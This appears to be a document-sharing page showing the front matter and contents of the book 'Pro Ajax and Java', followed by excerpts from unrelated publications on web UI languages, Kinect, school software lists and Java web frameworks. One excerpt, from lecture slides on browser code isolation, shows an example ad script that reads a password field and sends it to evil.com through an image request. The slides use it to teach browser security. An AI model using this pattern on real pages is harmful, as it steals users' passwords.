Pro Ajax Java

Total Page:16

File Type:pdf, Size:1020Kb

Pro Ajax Java CYAN YELLOW MAGENTA BLACK PANTONE 123 CV EMPOWERING JAVA DEVELOPERS WITH AJAX TECHNIQUES THE EXPERT’S VOICE® IN WEB DEVELOPMENT Companion eBook Available Pro Ajax and Java Pro Ajax Dear Reader, If you are a professional Java developer and you want to know how best to go about adding Ajax functionality to your web applications to enrich your users’ experience, then Pro Ajax and Java is the right book for you. Ajax allows us to Nathaniel T. Schutta, build highly interactive, desktop-like web applications that can be deployed coauthor of through any modern web browser without the need for special plug-ins. Though Foundations of Ajax Ajax is server-side agnostic, it certainly plays well within the rich Java ecosystem. This book teaches you what you need to know by using tightly focused exam- ples that aren’t cluttered with extraneous details, putting you on the fast track to using Ajax in your own Java applications. You already know how to develop web applications, so this book focuses on teaching the killer techniques you’ll need to bring your applications to life with Ajax, including autocomplete, form vali- dation, dynamic visual effects, and much, much more. We start off by providing a brief summary of the subject area, followed by a and Pro Ajax guide to creating the perfect development environment for developing Ajax in Java, including code editing and formatting, DOM inspection, debugging, Ryan Asleson, coauthor of testing, and logging tools. Foundations of Ajax Next, we look in depth at the most popular Ajax libraries and toolkits avail- able, and what they can do to simplify and speed up our Ajax development— Java Prototype, script.aculo.us, Dojo, DWR, AjaxTags, and Taconite. In the final RELATED TITLE section, we explore Ajax development within four of the most popular Java Practical Ajax Projects frameworks—Spring, Struts, Tapestry, and JSF. with Java Thanks for picking up this book. We hope you’ll have as much fun reading it as we had writing it! and Java Nate Schutta and Ryan Asleson Join online discussions: forums.apress.com FOR PROFESSIONALS BY PROFESSIONALS™ THE APRESS PRO AJAX AND JAVA ROADMAP Covers everything Java developers need Beginning JavaScript with Companion eBook Ajax Patterns to know to add Ajax to their websites! DOM Scripting and Ajax: and Best Practices From Novice to Professional Pro JavaScript Techniques Beginning Pro JSF and Ajax: CSS Web Development Building Rich From Novice to Professional Internet Components See last page for details Foundations of Ajax on $10 eBook version Beginning POJOs Pro Ajax and Java Asleson Schutta, SOURCE CODE ONLINE Nathaniel T. Schutta and Ryan Asleson www.apress.com ISBN 1-59059-677-3 54999 US $49.99 Shelve in Java Programming User level: Intermediate–Advanced 6 89253 59677 7 9 781590 596777 this print for content only—size & color not accurate spine = 0.784" 336 page count Asleson _677-3FRONT.fm Page i Tuesday, June 20, 2006 6:58 AM Pro Ajax and Java ■■■ Nathaniel T. Schutta and Ryan Asleson Asleson _677-3FRONT.fm Page ii Tuesday, June 20, 2006 6:58 AM Pro Ajax and Java Copyright © 2006 by Nathaniel T. Schutta and Ryan Asleson All rights reserved. No part of this work may be reproduced or transmitted in any form or by any means, electronic or mechanical, including photocopying, recording, or by any information storage or retrieval system, without the prior written permission of the copyright owner and the publisher. ISBN-13 (pbk): 978-1-59059-677-7 ISBN-10 (pbk): 1-59059-677-3 Printed and bound in the United States of America 9 8 7 6 5 4 3 2 1 Trademarked names may appear in this book. Rather than use a trademark symbol with every occurrence of a trademarked name, we use the names only in an editorial fashion and to the benefit of the trademark owner, with no intention of infringement of the trademark. Lead Editor: Chris Mills Technical Reviewer: John R. Fallows Editorial Board: Steve Anglin, Ewan Buckingham, Gary Cornell, Jason Gilmore, Jonathan Gennick, Jonathan Hassell, James Huddleston, Chris Mills, Matthew Moodie, Dominic Shakeshaft, Jim Sumser, Keir Thomas, Matt Wade Project Manager: Richard Dal Porto Copy Edit Manager: Nicole LeClerc Copy Editor: Hastings Hart Assistant Production Director: Kari Brooks-Copony Production Editor: Laura Esterman Compositor: Susan Glinert Proofreader: April Eddy Indexer: Lucie Haskins Artist: Susan Glinert Cover Designer: Kurt Krames Manufacturing Director: Tom Debolski Distributed to the book trade worldwide by Springer-Verlag New York, Inc., 233 Spring Street, 6th Floor, New York, NY 10013. Phone 1-800-SPRINGER, fax 201-348-4505, e-mail [email protected], or visit http://www.springeronline.com. For information on translations, please contact Apress directly at 2560 Ninth Street, Suite 219, Berkeley, CA 94710. Phone 510-549-5930, fax 510-549-5939, e-mail [email protected], or visit http://www.apress.com. The information in this book is distributed on an “as is” basis, without warranty. Although every precaution has been taken in the preparation of this work, neither the author(s) nor Apress shall have any liability to any person or entity with respect to any loss or damage caused or alleged to be caused directly or indirectly by the information contained in this work. The source code for this book is available to readers at http://www.apress.com in the Source Code section. Asleson _677-3FRONT.fm Page iii Tuesday, June 20, 2006 6:58 AM To Christine, for always believing. —Nathaniel T. Schutta For Sara, the love of my life, and Adam, my favorite playmate. —Ryan Asleson Asleson _677-3FRONT.fm Page iv Tuesday, June 20, 2006 6:58 AM Asleson _677-3FRONT.fm Page v Tuesday, June 20, 2006 6:58 AM Contents at a Glance About the Authors . .xi About the Technical Reviewer . xiii Acknowledgments . xv Introduction . xvii PART 1 ■ ■ ■ Introducing Ajax ■CHAPTER 1 What Is Ajax? . 3 ■CHAPTER 2 Development Tools . 27 PART 2 ■ ■ ■ Libraries and Toolkits ■CHAPTER 3 Java-Agnostic Toolkits . 75 ■CHAPTER 4 Java-Specific Frameworks . 117 PART 3 ■ ■ ■ Web Frameworks ■CHAPTER 5 Struts and Ajax . 153 ■CHAPTER 6 Tapestry . 183 ■CHAPTER 7 Spring and Ajax . 219 ■CHAPTER 8 JavaServer Faces . 263 ■INDEX . 297 v Asleson _677-3FRONT.fm Page vi Tuesday, June 20, 2006 6:58 AM Asleson _677-3FRONT.fm Page vii Tuesday, June 20, 2006 6:58 AM Contents About the Authors . .xi About the Technical Reviewer . xiii Acknowledgments . xv Introduction . xvii PART 1 ■ ■ ■ Introducing Ajax ■CHAPTER 1 What Is Ajax? . 3 The Rise of the Web Application . 3 And Then There Was Ajax . 5 The XMLHttpRequest Object . 9 Methods and Properties . 12 An Example Interaction . 13 Avoiding Common Gotchas . 16 Ajax Patterns . 20 The Fade Anything Technique (FAT) . 21 Auto Refresh . 22 Partial Page Paint . 22 Draggable DOM. 23 Summary . 25 ■CHAPTER 2 Development Tools . 27 JavaScript Source Code Editor . 27 JSEclipse . 28 NetBeans JavaScript Plug-in. 32 JavaScript Compression and Obfuscation . 35 The Dojo Toolkit’s JavaScript Compressor . 37 Inspecting a DOM Structure . 38 Mouseover DOM Inspector . 39 Debugging Ajax Requests . 40 NetBeans HTTP Monitor . 41 Firefox FireBug Extension . 43 vii Asleson _677-3FRONT.fm Page viii Tuesday, June 20, 2006 6:58 AM viii ■CONTENTS JavaScript Logging . 45 Log4JS . 46 Lumberjack . 49 JavaScript Debugging Tools . 52 Using Venkman . 52 Testing Tools . 56 JsUnit . 57 Selenium . 58 Summary . 71 PART 2 ■ ■ ■ Libraries and Toolkits ■CHAPTER 3 Java-Agnostic Toolkits . 75 Prototype . 75 $() . 76 Working with Forms . 77 Manipulating the DOM . ..
Recommended publications
  • Browser Code Isolation
    CS 155 Spring 2014 Browser code isolation John Mitchell Modern web sites are complex Modern web “site” Code from many sources Combined in many ways Sites handle sensitive information ! Financial data n" Online banking, tax filing, shopping, budgeting, … ! Health data n" Genomics, prescriptions, … ! Personal data n" Email, messaging, affiliations, … Others want this information ! Financial data n" Black-hat hackers, … ! Health data n" Insurance companies, … ! Personal data n" Ad companies, big government, … Modern web “site” Code from many sources Combined in many ways Basic questions ! How do we isolate code from different sources n" Protecting sensitive information in browser n" Ensuring some form of integrity n" Allowing modern functionality, flexible interaction Example:Library ! Library included using tag n" <script src="jquery.js"></script> ! No isolation n" Same frame, same origin as rest of page ! May contain arbitrary code n" Library developer error or malicious trojan horse n" Can redefine core features of JavaScript n" May violate developer invariants, assumptions jQuery used by 78% of the Quantcast top 10,000 sites, over 59% of the top million Second example: advertisement <script src=“https://adpublisher.com/ad1.js”></script> <script src=“https://adpublisher.com/ad2.js”></script>! ! Read password using the DOM API var c = document.getElementsByName(“password”)[0] Directly embedded third-party JavaScript poses a threat to critical hosting page resources Send it to evil location (not subject to SOP) <img src=``http::www.evil.com/info.jpg?_info_”>
    [Show full text]
  • Comparison of Common Xml-Based Web User Interface Languages
    Journal of Web Engineering, Vol. 9, No. 2 (2010) 095–115 c Rinton Press COMPARISON OF COMMON XML-BASED WEB USER INTERFACE LANGUAGES MIKKO POHJA Department of Media Technology, Aalto University P.O. Box 15400, FI-00076 Aalto, Finland mikko.pohja@hut.fi Received August 1, 2009 Revised February 25, 2010 In addition to being a platform for information access, the World Wide Web is increas- ingly becoming an application platform. While web applications have several benefits compared to desktop applications, there are also some problems. With legacy HTML, for example, one cannot produce user interfaces such as those that users have become accustomed to with desktop applications. What worked for static documents is not suf- ficient for the complicated web applications of today. Several parties have addressed this problem by defining a specific UI description language. In addition, the renewal of HTML aims to enhance support for web applications. This study evaluated five XML- based UI description formats, including HTML 5, in order to determine which language is best suited for modern web application development. The study also assessed what kind of applications are suited to each format. The requirements for a Web UI descrip- tion language from the literature were revised and three use cases were defined, through which the languages are evaluated. The paper also presents the model differences of the languages. Keywords: Web User Interface Description Language, Web Application Communicated by: D. Lowe & O. Pastor 1 Introduction Commerce and communication tasks, such as the use of e-mail, are common today on the World Wide Web (WWW), as is a trend towards realizing higher interaction tasks, such as in- formation authoring.
    [Show full text]
  • Kinect Based Painter
    PiccasoNect – - Kinect based Painter Introduction Kinect is a line of motion sensing input devices by Microsoft for Xbox 360 and Xbox One video game consoles and Windows PCs. Based around a webcam-style add-on peripheral, it enables users to control and interact with their console/computer without the need for a game controller, through a natural user interface using gestures and spoken commands. Kinect sensor is based on Prime-Sense technology and there are similar sensors on the market such as Asus Xtion and PrimeSense Carmine. (http://en.wikipedia.org/wiki/Kinect) Windows Presentation Foundation (or WPF) is a graphical subsystem for rendering user interfaces in Windows-based applications by Microsoft. WPF attempts to provide a consistent programming model for building applications and separates the user interface from business logic. It resembles similar XML-oriented object models, such as those implemented in XUL and SVG. (http://en.wikipedia.org/wiki/Windows_Presentation_Foundation) Overview In the project we developed a WPF application which allows the user to create a painting using his hands with minimal interactions with the mouse and keyboard. Using the Kinect, the application follows the user's hands movements, and translates them to a brush strokes. The application allows the user to select a brush from several rendering methods. Application requirements Capture user movements using Kinect sensor Paint the desired brush according to the user hands movements Enable several rendering options to choose from Option to save and send via email the finished painting Project Infrastructure The project is A WPF application, based on Microsoft Kinect SDK 1.7.
    [Show full text]
  • Digital Resources Approved for Use in Academy District 20 As Of
    Digital Resources Approved for use in Academy District 20 as of August 20, 2021 Title URL of Resource SPII collected Link to Privacy Policy Link to Terms of Service 10 Frame Fill https://itunes.apple.c This software does http://www.classroo om/us/app/10-frame- not collect Student mfocusedsoftware.co fill/id418083871?mt= Data m/cfsprivacypolicy.ht 8 ml 123 NUMBER MAGIC https://itunes.apple.c This software does http://preschoolu.co http://preschoolu.co Line Matching om/us/app/123- not collect Student m/Privacy- m/Privacy- number-magic-line- Data Policy.html#.Wud5Ro Policy.html#.Wud5Ro matching/id46853409 gvyUk gvyUk 4?mt=8 123TeachMe https://www.123teac This software does https://www.123teac https://www.123teac hme.com/ not collect Student hme.com/learn_spani hme.com/learn_spani Data sh/privacy_policy sh/privacy_policy 12Bart http://www.bartontile First Name;#Last http://www.bartontile http://www.bartontile s.com/ Name s.com/Barton-Tiles- s.com/Barton-Tiles- App-Privacy-Policy.pdf App-Privacy-Policy.pdf 2080 Media https://www.nfhsnet This software does https://www.nfhsnet https://www.nfhsnet Inc/PlayOn Sports work.com/ not collect Student work.com/privacypoli work.com/termsofuse Data cy 270 to Win https://itunes.apple.c This software does https://www.270towi https://www.270towi om/us/app/270towin/ not collect Student n.com/privacy/ n.com/privacy/ id483161617?mt=8 Data 3 DS Max https://www.autodes First Name;#Last https://www.autodes Terms of Use k.com/products/3ds- Name;#Students don't k.com/products/3ds- max/overview need to make an max/overview account to use this.
    [Show full text]
  • Appendix a the Ten Commandments for Websites
    Appendix A The Ten Commandments for Websites Welcome to the appendixes! At this stage in your learning, you should have all the basic skills you require to build a high-quality website with insightful consideration given to aspects such as accessibility, search engine optimization, usability, and all the other concepts that web designers and developers think about on a daily basis. Hopefully with all the different elements covered in this book, you now have a solid understanding as to what goes into building a website (much more than code!). The main thing you should take from this book is that you don’t need to be an expert at everything but ensuring that you take the time to notice what’s out there and deciding what will best help your site are among the most important elements of the process. As you leave this book and go on to updating your website over time and perhaps learning new skills, always remember to be brave, take risks (through trial and error), and never feel that things are getting too hard. If you choose to learn skills that were only briefly mentioned in this book, like scripting, or to get involved in using content management systems and web software, go at a pace that you feel comfortable with. With that in mind, let’s go over the 10 most important messages I would personally recommend. After that, I’ll give you some useful resources like important websites for people learning to create for the Internet and handy software. Advice is something many professional designers and developers give out in spades after learning some harsh lessons from what their own bitter experiences.
    [Show full text]
  • Multi-Platform User Interface Construction – a Challenge for Software Engineering-In-The-Small
    Multi-platform User Interface Construction – A Challenge for Software Engineering-in-the-Small Judith Bishop Department of Computer Science University of Pretoria Pretoria 0002 South Africa [email protected] ABSTRACT The popular view of software engineering focuses on managing 1. INTRODUCTION teams of people to produce large systems. This paper addresses a 1.1 Software engineering different angle of software engineering, that of development for Software engineering as a discipline is perceived as tackling re-use and portability. We consider how an essential part of computing in-the-large. It elevates tools and techniques from the most software products – the user interface – can be successfully level of a craft, to where they can be efficiently and reproducibly engineered so that it can be portable across multiple platforms harnessed for the successful completion of large projects. and on multiple devices. Our research has identified the structure of the problem domain, and we have filled in some of Thirty years ago in 1975, Fred Brooks introduced us to the the answers. We investigate promising solutions from the mythical man month of software development [Brooks 1975] model-driven frameworks of the 1990s, to modern XML-based and followed this with the “no silver bullet” paper, in which he specification notations (Views, XUL, XIML, XAML), multi- talked about software engineering as being a process of building platform toolkits (Qt and Gtk), and our new work, Mirrors software with “specifications, assembly of components, and which pioneers reflective libraries. The methodology on which scaffolding” [Brooks 1987]. Boehm, too, found in 1976 that Views and Mirrors is based enables existing GUI libraries to be software engineering was, encouragingly, concentrating on the transported to new operating systems.
    [Show full text]
  • Javascript: a Beginner’S Guide, Fourth Edition / Pollock / 937-6 / Front Matter Blind Folio: I
    www.allitebooks.com BeginNew-Tight / JavaScript: A Beginner’s Guide, Fourth Edition / Pollock / 937-6 / Front Matter Blind Folio: i JavaScript A Beginner’s Guide Fourth Edition John Pollock New York Chicago San Francisco Lisbon London Madrid Mexico City Milan New Delhi San Juan Seoul Singapore Sydney Toronto www.allitebooks.com 00-FM.indd 1 3/12/13 1:53 PM BeginNew-Tight / JavaScript: A Beginner’s Guide, Fourth Edition / Pollock / 937-6 Copyright © 2013 by The McGraw-Hill Companies. All rights reserved. Except as permitted under the United States Copyright Act of 1976, no part of this publication may be reproduced or distributed in any form or by any means, or stored in a database or retrieval system, without the prior written permission of the publisher, with the exception that the program listings may be entered, stored, and executed in a computer system, but they may not be reproduced for publication. ISBN: 9780071809382 MHID: 0071809384 The material in this e-book also appears in the print version of this title: ISBN: 978-0-07-180937-5, MHID: 0-07-180937-6 McGraw-Hill e-books are available at special quantity discounts to use as premiums and sales promotions, or for use in corporate training programs. To contact a representative please e-mail us at [email protected]. All trademarks are trademarks of their respective owners. Rather than put a trademark symbol after every occurrence of a trademarked name, we use names in an editorial fashion only, and to the benefit of the trademark owner, with no intention of infringement of the trademark.
    [Show full text]
  • Desarrollando Web 2.0 Con JAVA EE 5 Jaime Cid Arquitecto De Soluciones WEB Y SOA Sun Microsystems AGENDA
    Desarrollando Web 2.0 con JAVA EE 5 Jaime Cid Arquitecto de Soluciones WEB y SOA Sun Microsystems http://blogs.sun.com/jaimecid AGENDA 1 – Nuevas olas tecnológicas 2 – Web 2.0 3 – Web 2.0 & Open Source 4 – Tecnologías Web 2.0 5 – AJAX 6 – AJAX con Java EE (J2EE)‏ 7 – Java EE 5 Cabalgando sobre las olas • En la industria de la informatica y las comunicaciones se producen sucesivas olas tecnologicas que de cogerse en el momento oportuno proporcionan una ventana de oportunidad a personas y empresas. Por ello siempre hay que mirar el horizonte y esperar que llega una buena ola, para intentar subirse y que te lleve hasta la orilla. Nuevas Olas Tecnológicas • Virtualización • Computación distribuida, Grid • Web 2.0 • Web Semántica • Open Source • SOA Web 2.0 web 1.0 = read web 2.0 = read/write La era de la participación Todos contribuyendo en la Web ¿Qué es Web 2.0? • La Web como plataforma > El navegador pasa a ser la única aplicación > Correo, Calendario, Contactos, Fotos, Ofimática > El usuario sube y almacena contenido en la Web • Inteligencia Colectiva (Folksonomy)‏ > Categorización colaborativa basada en etiquetas (tags)‏ > La opinión de los usuarios cuenta y mucho. • La información se comparte y se combina > Agregación de datos de diferentes fuentes (Mashups)‏ • Interfaz de usuario equivalente al escritorio > AJAX Web 1.0 --> Web 2.0 • DoubleClick --> Google AdSense • Ofoto --> Flickr • Akamai --> BitTorrent • Britannica Online --> Wikipedia • personal websites --> blogging • domain name speculation --> search engine optimization • page
    [Show full text]
  • Tkgecko: Another Attempt for an HTML Renderer for Tk Georgios Petasis
    TkGecko: Another Attempt for an HTML Renderer for Tk Georgios Petasis Software and Knowledge Engineering Laboratory, Institute of Informatics and Telecommunications, National Centre for Scientific Research “Demokritos”, Athens, Greece [email protected] Abstract The support for displaying HTML and especially complex Web sites has always been problematic in Tk. Several efforts have been made in order to alleviate this problem, and this paper presents another (and still incomplete) one. This paper presents TkGecko, a Tcl/Tk extension written in C++, which allows Gecko (the HTML processing and rendering engine developed by the Mozilla Foundation) to be embedded as a widget in Tk. The current status of the TkGecko extension is alpha quality, while the code is publically available under the BSD license. 1 Introduction The support for displaying HTML and contemporary Web sites has always been a problem in the Tk widget, as Tk does not contain any support for rendering HTML pages. This shortcoming has been the motivation for a large number of attempts to provide support from simple rendering of HTML subsets on the text or canvas widgets (i.e. for implementing help systems) to full-featured Web browsers, like HV3 [1] or BrowseX [2]. The relevant Tcl Wiki page [3] lists more than 20 projects, and it does not even cover all of the approaches that try to embed existing browsers in Tk through COM or X11 embedding. One of the most popular, and thus important, projects is Tkhtml [4], an implementation of an HTML rendering component in C for the Tk toolkit. Tkhtml has been actively maintained for several years, and the current version supports many HTML 4 features, including CCS and possibly JavaScript through the Simple ECMAScript Engine (SEE) [5].
    [Show full text]
  • Webobjects Technical Overview
    Session 401 WebObjects Technical Overview Steve Hayman Systems Engineer, Apple iServices 1 Apple Confidential 6/28/00 Introduction • Understand the WO architecture • See the tools, frameworks, and development process in action 2 Apple Confidential 6/28/00 What You’ll Learn • WO Tools • WO Frameworks • WO Deployment • Understand the titles of the other WO sessions 406—Rapid Development with Direct to Java Client 3 Apple Confidential 6/28/00 What WebObjects Does • It’s an Application Server • Who invented that term anyway? • It’s more than just that – Developer Tools – Pre-written objects (Frameworks) The best part! – Runtime environment – Monitoring and control tools 4 Apple Confidential 6/28/00 For Instance Java Clients Web Browsers Data Services Web Servers Distributed Objects Data Sources 5 Apple Confidential 6/28/00 Who WebObjects Is For • Developers • Very powerful • Steep learning curve • But that’s OK 6 Apple Confidential 6/28/00 WebObjects Works With… • Java. Objective-C. WebScript • Databases—Oracle, Informix, Sybase, SQL Server, LDAP, OpenBase, FrontBase, … • Mainframes—CORBA, 3270 screen-scraping • Different UIs—HTML, WAP, PDF, XML • Most web servers—Apache, Netscape, IIS • Lots of 3rd-party objects and APIs • Open open open open open open open open 7 Apple Confidential 6/28/00 Where You Can Use WebObjects • Develop on Mac OS X, Mac OS X Server, or Windows NT • Deploy on OS X, OS X Server, NT, Solaris, HP/UX, Linux – (Note: database support varies by platform) • Mix and match as needed • Start small and grow bigger 8 Apple Confidential
    [Show full text]
  • Plugin Tapestry ​
    PlugIn Tapestry ​ Autor @picodotdev https://picodotdev.github.io/blog-bitix/ 2019 1.4.2 5.4 A tod@s l@s programador@s que en su trabajo no pueden usar el framework, librería o lenguaje que quisieran. Y a las que se divierten programando y aprendiendo hasta altas horas de la madrugada. Non gogoa, han zangoa Hecho con un esfuerzo en tiempo considerable con una buena cantidad de software libre y más ilusión en una región llamada Euskadi. PlugIn Tapestry: Desarrollo de aplicaciones y páginas web con Apache Tapestry @picodotdev 2014 - 2019 2 Prefacio Empecé El blog de pico.dev y unos años más tarde Blog Bitix con el objetivo de poder aprender y compartir el conocimiento de muchas cosas que me interesaban desde la programación y el software libre hasta análisis de los productos tecnológicos que caen en mis manos. Las del ámbito de la programación creo que usándolas pueden resolver en muchos casos los problemas típicos de las aplicaciones web y que encuentro en el día a día en mi trabajo como desarrollador. Sin embargo, por distintas circunstancias ya sean propias del cliente, la empresa o las personas es habitual que solo me sirvan meramente como satisfacción de adquirir conocimientos. Hasta el día de hoy una de ellas es el tema del que trata este libro, Apache Tapestry. Para escribir en el blog solo dependo de mí y de ninguna otra circunstancia salvo mi tiempo personal, es com- pletamente mío con lo que puedo hacer lo que quiera con él y no tengo ninguna limitación para escribir y usar cualquier herramienta, aunque en un principio solo sea para hacer un ejemplo muy sencillo, en el momento que llegue la oportunidad quizá me sirva para aplicarlo a un proyecto real.
    [Show full text]
  • Ish Case Study Ish Hires Objectstyle to Modernise Its Student Management Platform, Grows Business by 300% in the Course of 5 Years
    ish Case Study ish hires ObjectStyle to modernise its student management platform, grows business by 300% in the course of 5 years ish is the company behind onCourse™, a widely-used software platform Company: that allows colleges and short course providers to manage enrolments, curricula, student grades, and other aspects of the learning/teaching Company name: ish process. Industry: Education The platform serves dozens of educational entities in Australia (including Year founded: 2002 such heavyweights as The University of Sydney, Sydney Community College, NIDA, Coffee School, Power Training Services WA...), and is one of Location: Australia the most popular solutions in the market. Website: http://ish.com.au Challenge In the year 2011, the onCourse platform was 5 years old and needed major refactoring to modernise the code, improve performance and set a new direction for future development. ish wanted to revamp the content management system and the student/tutor portal components as well as make it easy to add new features. ish had originally chosen WebObjects as a web platform and that tool had been largely abandoned, so a change of technology was needed. ish was also picking up big new customers, including universities, that required the production servers to be able to scale with increased volume. Solution 1. Apache Tapestry-based custom CMS. Colleges received an improved, more feature-rich and flexible content management system (CMS) which they could use for publishing catalogues, individual courses, promotions, and other CMS elements. The revamped CMS provided additional space for customizing the look-and-feel as well as the layout of the materials that colleges put up on their websites.
    [Show full text]